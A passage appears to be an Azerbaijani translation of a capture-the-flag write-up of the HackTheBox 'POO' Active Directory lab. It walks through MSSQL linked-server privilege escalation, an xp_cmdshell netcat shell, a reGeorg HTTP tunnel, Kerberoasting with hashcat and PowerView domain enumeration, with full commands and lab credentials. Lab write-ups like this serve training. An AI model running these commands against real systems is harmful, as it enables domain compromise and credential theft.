Bu yazıda biz sadəcə bir maşının deyil, bütöv bir mini-laboratoriyanın saytdan keçidini təhlil edəcəyik
Təsvirdə deyildiyi kimi, POO kiçik bir Active Directory mühitində hücumların bütün mərhələlərində bacarıqları sınamaq üçün nəzərdə tutulmuşdur. Məqsəd mövcud hostu güzəştə getmək, imtiyazları artırmaq və nəticədə prosesdə 5 bayraq toplayaraq bütün domeni güzəştə getməkdir.
Laboratoriyaya qoşulma VPN vasitəsilə həyata keçirilir. İnformasiya təhlükəsizliyi haqqında nəsə bilən insanlarla şəxsi şəbəkəyə girdiyiniz üçün işləyən kompüterdən və ya sizin üçün vacib məlumatların olduğu hostdan qoşulmamağınız tövsiyə olunur 🙂
təşkilati məlumat
Yeni məqalələr, proqram təminatı və digər məlumatlar haqqında məlumat əldə edə bilməniz üçün mən yaratdım
Bütün məlumatlar yalnız təhsil məqsədləri üçün verilir. Bu sənədin müəllifi bu sənədin öyrənilməsi nəticəsində əldə edilmiş bilik və metodlardan istifadə nəticəsində heç kimə dəymiş zərərə görə məsuliyyət daşımır.
Giriş
Bu son oyun iki maşından ibarətdir və 5 bayraqdan ibarətdir.
Mövcud hostun təsviri və ünvanı da verilir.
Naçnem!
Recon bayrağı
Bu maşının /etc/hosts-a əlavə etdiyim 10.13.38.11 IP ünvanı var.
10.13.38.11 poo.htb
İlk addım açıq portları skan etməkdir. Bütün portları nmap ilə skan etmək çox vaxt apardığı üçün bunu ilk olaraq masscan ilə edəcəm. Biz tun0 interfeysindən 500pps-də bütün TCP və UDP portlarını skan edirik.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
İndi portlarda işləyən xidmətlər haqqında daha ətraflı məlumat əldə etmək üçün -A seçimi ilə skan edək.
nmap -A poo.htb -p80,1433
Beləliklə, IIS və MSSQL xidmətlərimiz var. Bu halda, biz domenin və kompüterin əsl DNS adını öyrənəcəyik. Veb serverdə bizi IIS ana səhifəsi qarşılayır.
Gəlin kataloqlar üzərində təkrarlayaq. Bunun üçün gobuster istifadə edirəm. Parametrlərdə axınların sayını 128 (-t), URL (-u), lüğət (-w) və bizi maraqlandıran genişlənmələri (-x) müəyyənləşdiririk.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Beləliklə, bizdə /admin kataloqu üçün HTTP autentifikasiyası, həmçinin .DS_Store masa üstü xidmət yaddaşı faylı mövcuddur. .DS_Store faylların siyahısı, ikona yeri, seçilmiş fon şəkli kimi qovluq üçün istifadəçi parametrlərini saxlayan fayllardır. Belə bir fayl veb tərtibatçılarının veb server kataloquna düşə bilər. Beləliklə, kataloqun məzmunu haqqında məlumat alırıq. Bunun üçün istifadə edə bilərsiniz
python3 dsstore_crawler.py -i http://poo.htb/
Kataloqun məzmununu alırıq. Burada ən maraqlısı, mənbələri və db fayllarını iki budaqda görə biləcəyimiz /dev kataloqudur. Lakin xidmət IIS ShortName-ə qarşı həssasdırsa, biz fayl və kataloq adlarının ilk 6 simvolundan istifadə edə bilərik. Bu zəifliyi istifadə edərək yoxlaya bilərsiniz
Və biz "poo_co" ilə başlayan bir mətn faylı tapırıq. Bundan sonra nə edəcəyimi bilmədən, sadəcə olaraq kataloqlar lüğətindən “co” ilə başlayan bütün sözləri seçdim.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Və wfuzz ilə təkrarlayın.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Və düzgün sözü tapın! Bu fayla baxırıq, etimadnamələri saxlayırıq (DBNAME parametrinə əsasən, onlar MSSQL-dəndir).
Bayrağı təhvil veririk, 20% irəliləyirik.
Hey bayraq
MSSQL-ə qoşuluruq, mən DBeaver istifadə edirəm.
Bu verilənlər bazasında maraqlı heç nə tapmırıq, gəlin SQL Redaktoru yaradaq və istifadəçilərin nə olduğunu yoxlayaq.
SELECT name FROM master..syslogins;
İki istifadəçimiz var. İmtiyazlarımızı yoxlayaq.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Beləliklə, heç bir imtiyaz yoxdur. Əlaqədar serverlərə baxaq, bu texnika haqqında ətraflı yazdım
SELECT * FROM master..sysservers;
Beləliklə, başqa bir SQL Server tapırıq. Openquery() vasitəsilə bu serverdə əmrlərin icrasını yoxlayaq.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Və hətta sorğu ağacı da qura bilərik.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Fakt budur ki, biz əlaqəli serverə sorğu göndərdiyimiz zaman sorğu başqa istifadəçinin kontekstində icra olunur! Əlaqələndirilmiş serverdə hansı istifadəçi kontekstində işlədiyimizi görək.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
İndi gəlin görək bağlı serverdən bizimkinə olan sorğu hansı kontekstdə yerinə yetirilir!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Beləliklə, bütün imtiyazlara sahib olmalı olan DBO kontekstidir. Əlaqəli serverdən sorğu olduqda imtiyazları yoxlayaq.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Gördüyünüz kimi, bizdə bütün imtiyazlar var! Gəlin adminimizi belə yaradaq. Amma onlara openquery vasitəsilə imkan vermirlər, gəlin bunu EXECUTE AT vasitəsilə edək.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
İndi biz yeni istifadəçinin etimadnaməsi ilə əlaqə qururuq, yeni bayraq verilənlər bazasını müşahidə edirik.
Bu bayrağı təhvil verib daha da irəli gedirik.
Geri çəkilmə bayrağı
MSSQL-dən istifadə edərək qabığı əldə edək, mən impacket paketindən mssqlclient istifadə edirəm.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Parolları əldə etməliyik və artıq tanış olduğumuz ilk şey saytdır. Beləliklə, bizə veb server konfiqurasiyası lazımdır (rahat bir qabıq atmaq mümkün deyil, görünür, firewall işləyir).
Lakin giriş qadağandır. Faylı MSSQL-dən oxuya bilsək də, sadəcə olaraq hansı proqramlaşdırma dillərinin konfiqurasiya edildiyini bilməliyik. Və MSSQL kataloqunda Python olduğunu öyrənirik.
Sonra web.config faylını oxumaq üçün heç bir problem yoxdur.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Tapılan etimadnamələri ilə /admin-ə keçin və bayrağı götürün.
dayaq bayrağı
Əslində, bir firewall istifadə etməkdə bəzi narahatlıqlar var, lakin şəbəkə parametrlərinə nəzər saldıqda IPv6 protokolunun da istifadə edildiyini görürük!
Bu ünvanı /etc/hosts-a əlavə edin.
dead:babe::1001 poo6.htb
Gəlin hostu yenidən skan edək, lakin bu dəfə IPv6 üzərindən.
WinRM xidməti isə IPv6 üzərindən mövcuddur. Tapılmış etimadnamələri ilə əlaqə saxlayaq.
İş masasında bayraq var, təhvil verin.
P00-li bayraq
Ev sahibi ilə kəşfiyyatdan sonra
setspn.exe -T intranet.poo -Q */*
MSSQL vasitəsilə əmri icra edək.
Bu yolla biz p00_hr və p00_adm istifadəçilərinin SPN-lərini əldə edirik, bu da onların Kerberoasting kimi hücumlara qarşı həssas olması deməkdir. Qısacası, biz onların parollarının heşlərini əldə edə bilərik.
Əvvəlcə MSSQL istifadəçisi adından stabil qabıq əldə etməlisiniz. Ancaq giriş imkanımız məhdud olduğundan, host ilə yalnız 80 və 1433 portları vasitəsilə əlaqəmiz var. Ancaq 80-ci liman vasitəsilə trafiki tunel etmək mümkündür! Bunun üçün istifadə edirik
Amma biz ona daxil olmaq istəyəndə 404 xətası alırıq.Bu o deməkdir ki, *.aspx faylları icra olunmur. Bu uzantıları olan faylları işə salmaq üçün ASP.NET 4.5-i aşağıdakı kimi quraşdırın.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
İndi isə tunnel.aspx-ə daxil olanda hər şeyin getməyə hazır olduğu cavabını alırıq.
Trafiki ötürəcək tətbiqin müştəri hissəsinə başlayaq. Biz bütün trafiki 5432 portundan serverə yönləndirəcəyik.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Və biz proksi vasitəsilə istənilən proqramın trafikini göndərmək üçün proxychainlərdən istifadə edirik. Gəlin bu proxy-ni /etc/proxychains.conf konfiqurasiya faylına əlavə edək.
İndi isə proqramı serverə yükləyək
İndi MSSQL vasitəsilə biz dinləyicini işə salırıq.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Və biz proxy vasitəsilə əlaqə saxlayırıq.
proxychains rlwrap nc poo.htb 4321
Və hashləri əldə edək.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Sonra, bu hashləri təkrarlamalısınız. Sizin parol məlumat lüğətiniz olmadığından, mən Seclists-də təqdim olunan BÜTÜN parol lüğətlərindən istifadə etdim. Sadalamaq üçün hashcat istifadə edirik.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Və biz hər iki parolu tapırıq, birincisini dutch_passwordlist.txt lüğətində, ikincisini isə Keyboard-Combinations.txt-də tapırıq.
Beləliklə, üç istifadəçimiz var, domen nəzarətçisinə gedirik. Əvvəlcə onun ünvanını öyrənək.
Əla, biz domen nəzarətçisinin IP ünvanını öyrəndik. Gəlin domenin bütün istifadəçilərini, eləcə də onlardan hansının administrator olduğunu öyrənək. PowerView.ps1 məlumat almaq üçün skripti yükləmək. Sonra -s parametrində skriptlə qovluğu göstərərək evil-winrm istifadə edərək qoşulacağıq. Və yalnız PowerView skriptini yükləyin.
İndi onun bütün funksiyalarına çıxışımız var. p00_adm istifadəçisi imtiyazlı istifadəçi kimi görünür, ona görə də biz onun kontekstində işləyəcəyik. Bu istifadəçi üçün PSCredential obyekti yaradaq.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
İndi Creds təyin etdiyimiz bütün Powershell əmrləri p00_adm adından yerinə yetiriləcək. İstifadəçilərin siyahısını və AdminCount atributunu göstərək.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Beləliklə, istifadəçimiz həqiqətən imtiyazlıdır. Onun hansı qruplara aid olduğunu görək.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Nəhayət, istifadəçinin domen administratoru olduğunu təsdiq edirik. Bu, ona domen nəzarətçisinə uzaqdan daxil olmaq hüququ verir. Tunelimizdən istifadə edərək WinRM ilə daxil olmağa çalışaq. Evil-winrm istifadə edərkən reGeorg tərəfindən verilən səhvlər məni çaşdırdı.
Sonra başqa, daha asan istifadə edirik,
Biz qoşulmağa çalışırıq və biz sistemdəyik.
Amma bayraq yoxdur. Sonra istifadəçiyə baxın və masaüstünü yoxlayın.
mr3ks-də biz bayrağı tapırıq və laboratoriya 100% tamamlanıb.
Hamısı budur. Rəy olaraq, bu məqalədən yeni bir şey öyrəndiyinizi və bunun sizin üçün faydalı olub olmadığını şərh edin.
Bizə qoşula bilərsiniz
Mənbə: www.habr.com